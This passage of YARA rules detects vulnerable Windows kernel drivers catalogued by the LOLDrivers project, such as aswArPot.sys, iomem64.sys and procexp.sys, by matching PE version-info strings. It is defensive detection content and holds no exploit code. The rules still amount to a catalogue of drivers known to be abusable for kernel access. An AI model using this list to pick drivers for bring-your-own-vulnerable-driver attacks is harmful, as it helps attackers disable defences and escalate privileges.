		hash = "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b"
		date = "2023-06-14"
		score = 40
		id = "94b7a58c-0092-5d81-985f-330599efe25a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003900320038 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2B4C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a"
		date = "2023-06-14"
		score = 40
		id = "a337e8f1-1473-51a4-9098-69719f0c48e4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_3D23
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4"
		date = "2023-06-14"
		score = 40
		id = "b29e4411-a408-5bd5-a763-73c18b85e2b2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_496F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b"
		date = "2023-06-14"
		score = 40
		id = "7754e086-1936-5e47-9576-ee940453c5e7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0035002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0035002e0031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300036002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_1B00
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e"
		hash = "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5"
		date = "2023-06-14"
		score = 40
		id = "d29981ff-6c7b-55fb-a77e-c16755e988ab"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Multitheftauto_Mtasanandreas_9F4C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FairplayKD.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5"
		date = "2023-06-14"
		score = 40
		id = "a7059f0e-ae46-506f-a3c0-8ecb6911cd1d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0075006c007400690020005400680065006600740020004100750074006f0020007000610074006300680020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0075006c007400690020005400680065006600740020004100750074006f }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00540041002000530061006e00200041006e00640072006500610073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003000330020002d002000320030003100370020004d0075006c007400690020005400680065006600740020004100750074006f }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_2732
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c"
		date = "2023-06-14"
		score = 40
		id = "ec2c7c9f-d4cd-5497-9de5-4948767ba125"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_EF6D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850"
		date = "2023-06-14"
		score = 40
		id = "28e934c7-1705-5dd7-967f-ac259af3809e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Microfocus_Microfocusxtier_95D5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
		date = "2023-06-14"
		score = 40
		id = "394be6fa-5c49-5af2-ac20-d0da0ffe7624"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E3EF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918"
		date = "2023-06-14"
		score = 40
		id = "3778fe25-a5d5-5cb0-8f03-9ceed5d71aa9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100300031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7F37
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa"
		date = "2023-06-14"
		score = 40
		id = "f523949b-aff9-532a-9f13-983f4a47635d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Paniosys_Paniolibrary_F596
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960"
		date = "2023-06-14"
		score = 40
		id = "098abff0-1471-5793-8366-89df85dc216c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_1768
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca"
		date = "2023-06-14"
		score = 40
		id = "4d79b72a-0848-5fe4-89fe-b16ab03d18d3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_9A54
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7"
		date = "2023-06-14"
		score = 40
		id = "17496639-ec11-519b-8143-2d43568e09cd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Oti_Otipcibussys_Kernelmodedrivertoaccessphysicalmemoryandports_4E3E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - otipcibus.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80"
		date = "2023-06-14"
		score = 40
		id = "71052609-e8a3-5611-ad92-8cf43a0fddf0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200041006300630065007300730020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00540069 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200054006f002000410063006300650073007300200050006800790073006900630061006c0020004d0065006d006f0072007900200041006e006400200050006f007200740073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_DCB8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258"
		date = "2023-06-14"
		score = 40
		id = "72ff75ea-c085-51bc-806e-1a43127d1c64"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_CFCF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab"
		date = "2023-06-14"
		score = 40
		id = "a4c49dca-e35c-5326-9b30-729ecf65653c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_DD4A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097"
		date = "2023-06-14"
		score = 40
		id = "65abda74-40d3-57c2-ade1-463b3e1ad1ef"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Pchuntersys_Pchunter_1B7F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PCHunter.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa"
		date = "2023-06-14"
		score = 40
		id = "229e07ae-2358-5b7e-843d-a0038c57dcd0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00450070006f006f006c0073006f00660074002000570069006e0064006f0077007300200049006e0066006f0072006d006100740069006f006e0020005600690065007700200054006f006f006c0073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]4e00666e660e4e3aff0853174eacff094fe1606f6280672f67099650516c53f8 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300480075006e007400650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310033002d0032003000310036002000450070006f006f006c0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_6500
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3"
		date = "2023-06-14"
		score = 40
		id = "87ed66d7-4903-5334-9bdb-90ba882c3e98"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
